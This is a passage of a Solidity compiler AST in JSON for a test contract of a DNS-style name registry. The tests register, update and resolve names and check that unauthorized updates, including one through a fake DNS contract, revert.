(bytes32,bytes32)","value":"assertEq"},"id":1000,"name":"Identifier","src":"4551:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":1001,"name":"Identifier","src":"4560:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":794,"type":"bytes4","value":"i3"},"id":1002,"name":"Identifier","src":"4564:2:2"}],"id":1003,"name":"FunctionCall","src":"4551:16:2"}],"id":1004,"name":"ExpressionStatement","src":"4551:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":1005,"name":"Identifier","src":"4571:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":1006,"name":"Identifier","src":"4580:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1007,"name":"ElementaryTypeName","src":"4587:7:2"}],"id":1008,"name":"ElementaryTypeNameExpression","src":"4587:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1009,"name":"Identifier","src":"4595:5:2"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":1010,"name":"Literal","src":"4601:1:2"}],"id":1011,"name":"IndexAccess","src":"4595:8:2"}],"id":1012,"name":"FunctionCall","src":"4587:17:2"}],"id":1013,"name":"FunctionCall","src":"4571:34:2"}],"id":1014,"name":"ExpressionStatement","src":"4571:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":1015,"name":"Identifier","src":"4675:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":1016,"name":"Identifier","src":"4679:5:2"}],"id":1017,"name":"TupleExpression","src":"4674:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":2302,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":451,"type":"contract UpgradedDNS","value":"up_dns"},"id":1018,"name":"Identifier","src":"4688:6:2"}],"id":1019,"name":"MemberAccess","src":"4688:14:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":790,"type":"string memory","value":"d3"},"id":1020,"name":"Identifier","src":"4703:2:2"}],"id":1021,"name":"FunctionCall","src":"4688:18:2"}],"id":1022,"name":"Assignment","src":"4674:32:2"}],"id":1023,"name":"ExpressionStatement","src":"4674:32:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":1024,"name":"Identifier","src":"4710:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":1025,"name":"Identifier","src":"4719:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":794,"type":"bytes4","value":"i3"},"id":1026,"name":"Identifier","src":"4723:2:2"}],"id":1027,"name":"FunctionCall","src":"4710:16:2"}],"id":1028,"name":"ExpressionStatement","src":"4710:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":1029,"name":"Identifier","src":"4730:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":1030,"name":"Identifier","src":"4739:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1031,"name":"ElementaryTypeName","src":"4746:7:2"}],"id":1032,"name":"ElementaryTypeNameExpression","src":"4746:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1033,"name":"Identifier","src":"4754:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1034,"name":"Literal","src":"4760:1:2"}],"id":1035,"name":"IndexAccess","src":"4754:8:2"}],"id":1036,"name":"FunctionCall","src":"4746:17:2"}],"id":1037,"name":"FunctionCall","src":"4730:34:2"}],"id":1038,"name":"ExpressionStatement","src":"4730:34:2"},{"attributes":{"assignments":[1040]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"i2_2","scope":1142,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1039,"name":"ElementaryTypeName","src":"4819:6:2"}],"id":1040,"name":"VariableDeclaration","src":"4819:11:2"},{"attributes":{"hexvalue":"30786361666563616665","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 3405695742","value":"0xcafecafe"},"id":1041,"name":"Literal","src":"4833:10:2"}],"id":1042,"name":"VariableDeclarationStatement","src":"4819:24:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"update","referencedDeclaration":371,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1043,"name":"Identifier","src":"4847:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1044,"name":"Literal","src":"4853:1:2"}],"id":1045,"name":"IndexAccess","src":"4847:8:2"}],"id":1046,"name":"MemberAccess","src":"4847:15:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":782,"type":"string memory","value":"d2"},"id":1047,"name":"Identifier","src":"4863:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1040,"type":"bytes4","value":"i2_2"},"id":1048,"name":"Identifier","src":"4867:4:2"}],"id":1049,"name":"FunctionCall","src":"4847:25:2"}],"id":1050,"name":"ExpressionStatement","src":"4847:25:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":1051,"name":"Identifier","src":"4937:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":1052,"name":"Identifier","src":"4941:5:2"}],"id":1053,"name":"TupleExpression","src":"4936:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":418,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1054,"name":"Identifier","src":"4950:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1055,"name":"Literal","src":"4956:1:2"}],"id":1056,"name":"IndexAccess","src":"4950:8:2"}],"id":1057,"name":"MemberAccess","src":"4950:16:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":782,"type":"string memory","value":"d2"},"id":1058,"name":"Identifier","src":"4967:2:2"}],"id":1059,"name":"FunctionCall","src":"4950:20:2"}],"id":1060,"name":"Assignment","src":"4936:34:2"}],"id":1061,"name":"ExpressionStatement","src":"4936:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":1062,"name":"Identifier","src":"4974:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":1063,"name":"Identifier","src":"4983:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1040,"type":"bytes4","value":"i2_2"},"id":1064,"name":"Identifier","src":"4987:4:2"}],"id":1065,"name":"FunctionCall","src":"4974:18:2"}],"id":1066,"name":"ExpressionStatement","src":"4974:18:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":1067,"name":"Identifier","src":"4996:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":1068,"name":"Identifier","src":"5005:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1069,"name":"ElementaryTypeName","src":"5012:7:2"}],"id":1070,"name":"ElementaryTypeNameExpression","src":"5012:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1071,"name":"Identifier","src":"5020:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1072,"name":"Literal","src":"5026:1:2"}],"id":1073,"name":"IndexAccess","src":"5020:8:2"}],"id":1074,"name":"FunctionCall","src":"5012:17:2"}],"id":1075,"name":"FunctionCall","src":"4996:34:2"}],"id":1076,"name":"ExpressionStatement","src":"4996:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":true,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_rational_3405687466_by_1","typeString":"int_const 3405687466"},{"typeIdentifier":"t_contract$_UpgradedDNS_$2303","typeString":"contract UpgradedDNS"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"updateViaCustomDNS","referencedDeclaration":388,"type":"function (string memory,bytes4,contract IDNS) external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1077,"name":"Identifier","src":"5140:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1078,"name":"Literal","src":"5146:1:2"}],"id":1079,"name":"IndexAccess","src":"5140:8:2"}],"id":1080,"name":"MemberAccess","src":"5140:27:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":782,"type":"string memory","value":"d2"},"id":1081,"name":"Identifier","src":"5168:2:2"},{"attributes":{"hexvalue":"30786361666561616161","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 3405687466","value":"0xcafeaaaa"},"id":1082,"name":"Literal","src":"5172:10:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":453,"type":"contract UpgradedDNS","value":"fake_up_dns"},"id":1083,"name":"Identifier","src":"5184:11:2"}],"id":1084,"name":"FunctionCall","src":"5140:56:2"},{"attributes":{"errorName":""},"children":[{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":1085,"name":"Identifier","src":"5202:10:2"},{"attributes":{"hexvalue":"66616c7365","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"false"},"id":1086,"name":"Literal","src":"5213:5:2"}],"id":1087,"name":"FunctionCall","src":"5202:17:2"}],"id":1088,"name":"ExpressionStatement","src":"5202:17:2"}],"id":1089,"name":"Block","src":"5197:27:2"}],"id":1090,"name":"TryCatchClause","src":"5197:27:2"},{"attributes":{"errorName":""},"children":[{"attributes":{"statements":[null]},"children":[],"id":1091,"name":"Block","src":"5231:5:2"}],"id":1092,"name":"TryCatchClause","src":"5225:11:2"}],"id":1093,"name":"TryStatement","src":"5136:100:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"register","referencedDeclaration":356,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1094,"name":"Identifier","src":"5292:5:2"},{"attributes":{"hexvalue":"33","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 3","value":"3"},"id":1095,"name":"Literal","src":"5298:1:2"}],"id":1096,"name":"IndexAccess","src":"5292:8:2"}],"id":1097,"name":"MemberAccess","src":"5292:17:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":544,"type":"string memory","value":"d0"},"id":1098,"name":"Identifier","src":"5310:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":548,"type":"bytes4","value":"i0"},"id":1099,"name":"Identifier","src":"5314:2:2"}],"id":1100,"name":"FunctionCall","src":"5292:25:2"}],"id":1101,"name":"ExpressionStatement","src":"5292:25:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":1102,"name":"Identifier","src":"5322:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":1103,"name":"Identifier","src":"5326:5:2"}],"id":1104,"name":"TupleExpression","src":"5321:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":2302,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":451,"type":"contract UpgradedDNS","value":"up_dns"},"id":1105,"name":"Identifier","src":"5335:6:2"}],"id":1106,"name":"MemberAccess","src":"5335:14:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":544,"type":"string memory","value":"d0"},"id":1107,"name":"Identifier","src":"5350:2:2"}],"id":1108,"name":"FunctionCall","src":"5335:18:2"}],"id":1109,"name":"Assignment","src":"5321:32:2"}],"id":1110,"name":"ExpressionStatement","src":"5321:32:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":1111,"name":"Identifier","src":"5357:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":1112,"name":"Identifier","src":"5366:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":548,"type":"bytes4","value":"i0"},"id":1113,"name":"Identifier","src":"5370:2:2"}],"id":1114,"name":"FunctionCall","src":"5357:16:2"}],"id":1115,"name":"ExpressionStatement","src":"5357:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":1116,"name":"Identifier","src":"5377:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":1117,"name":"Identifier","src":"5386:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1118,"name":"ElementaryTypeName","src":"5393:7:2"}],"id":1119,"name":"ElementaryTypeNameExpression","src":"5393:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1120,"name":"Identifier","src":"5401:5:2"},{"attributes":{"hexvalue":"33","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 3","value":"3"},"id":1121,"name":"Literal","src":"5407:1:2"}],"id":1122,"name":"IndexAccess","src":"5401:8:2"}],"id":1123,"name":"FunctionCall","src":"5393:17:2"}],"id":1124,"name":"FunctionCall","src":"5377:34:2"}],"id":1125,"name":"ExpressionStatement","src":"5377:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":true,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_rational_2864434397_by_1","typeString":"int_const 2864434397"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"update","referencedDeclaration":371,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1126,"name":"Identifier","src":"5488:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1127,"name":"Literal","src":"5494:1:2"}],"id":1128,"name":"IndexAccess","src":"5488:8:2"}],"id":1129,"name":"MemberAccess","src":"5488:15:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":544,"type":"string memory","value":"d0"},"id":1130,"name":"Identifier","src":"5504:2:2"},{"attributes":{"hexvalue":"30786161626263636464","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 2864434397","value":"0xaabbccdd"},"id":1131,"name":"Literal","src":"5508:10:2"}],"id":1132,"name":"FunctionCall","src":"5488:31:2"},{"attributes":{"errorName":""},"children":[{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":1133,"name":"Identifier","src":"5525:10:2"},{"attributes":{"hexvalue":"66616c7365","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"false"},"id":1134,"name":"Literal","src":"5536:5:2"}],"id":1135,"name":"FunctionCall","src":"5525:17:2"}],"id":1136,"name":"ExpressionStatement","src":"5525:17:2"}],"id":1137,"name":"Block","src":"5520:27:2"}],"id":1138,"name":"TryCatchClause","src":"5520:27:2"},{"attributes":{"errorName":""},"children":[{"attributes":{"statements":[null]},"children":[],"id":1139,"name":"Block","src":"5554:5:2"}],"id":1140,"name":"TryCatchClause","src":"5548:11:2"}],"id":1141,"name":"TryStatement","src":"5484:75:2"}],"id":1142,"name":"Block","src":"1684:3894:2"}],"id":1143,"name":"FunctionDefinition","src":"1647:3931:2"},{"attributes":{"functionSelector":"180428c0","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"test_hack_sequence","scope":1362,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},"children":[{"attributes":{"parameters":[null]},"children":[],"id":1144,"name":"ParameterList","src":"5608:2:2"},{"attributes":{"parameters":[null]},"children":[],"id":1145,"name":"ParameterList","src":"5618:0:2"},{"children":[{"attributes":{"assignments":[1147]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"d0","scope":1360,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":1146,"name":"ElementaryTypeName","src":"5622:6:2"}],"id":1147,"name":"VariableDeclaration","src":"5622:16:2"},{"attributes":{"hexvalue":"612e657468","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"a.eth\"","value":"a.eth"},"id":1148,"name":"Literal","src":"5641:7:2"}],"id":1149,"name":"VariableDeclarationStatement","src":"5622:26:2"},{"attributes":{"assignments":[1151]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"i0","scope":1360,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1150,"name":"ElementaryTypeName","src":"5652:6:2"}],"id":1151,"name":"VariableDeclaration","src":"5652:9:2"},{"attributes":{"hexvalue":"30783031303230333034","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 16909060","value":"0x01020304"},"id":1152,"name":"Literal","src":"5664:10:2"}],"id":1153,"name":"VariableDeclarationStatement","src":"5652:22:2"},{"attributes":{"assignments":[1155]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"d1","scope":1360,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":1154,"name":"ElementaryTypeName","src":"5678:6:2"}],"id":1155,"name":"VariableDeclaration","src":"5678:16:2"},{"attributes":{"hexvalue":"622e657468","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"b.eth\"","value":"b.eth"},"id":1156,"name":"Literal","src":"5697:7:2"}],"id":1157,"name":"VariableDeclarationStatement","src":"5678:26:2"},{"attributes":{"assignments":[1159]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"i1","scope":1360,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1158,"name":"ElementaryTypeName","src":"5708:6:2"}],"id":1159,"name":"VariableDeclaration","src":"5708:9:2"},{"attributes":{"hexvalue":"30783035303630373038","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 84281096","value":"0x05060708"},"id":1160,"name":"Literal","src":"5720:10:2"}],"id":1161,"name":"VariableDeclarationStatement","src":"5708:22:2"},{"attributes":{"assignments":[1163]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"ip","scope":1360,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1162,"name":"ElementaryTypeName","src":"5735:6:2"}],"id":1163,"name":"VariableDeclaration","src":"5735:9:2"}],"id":1164,"name":"VariableDeclarationStatement","src":"5735:9:2"},{"attributes":{"assignments":[1166]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"owner","scope":1360,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1165,"name":"ElementaryTypeName","src":"5748:7:2"}],"id":1166,"name":"VariableDeclaration","src":"5748:13:2"}],"id":1167,"name":"VariableDeclarationStatement","src":"5748:13:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"register","referencedDeclaration":356,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1168,"name":"Identifier","src":"5793:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 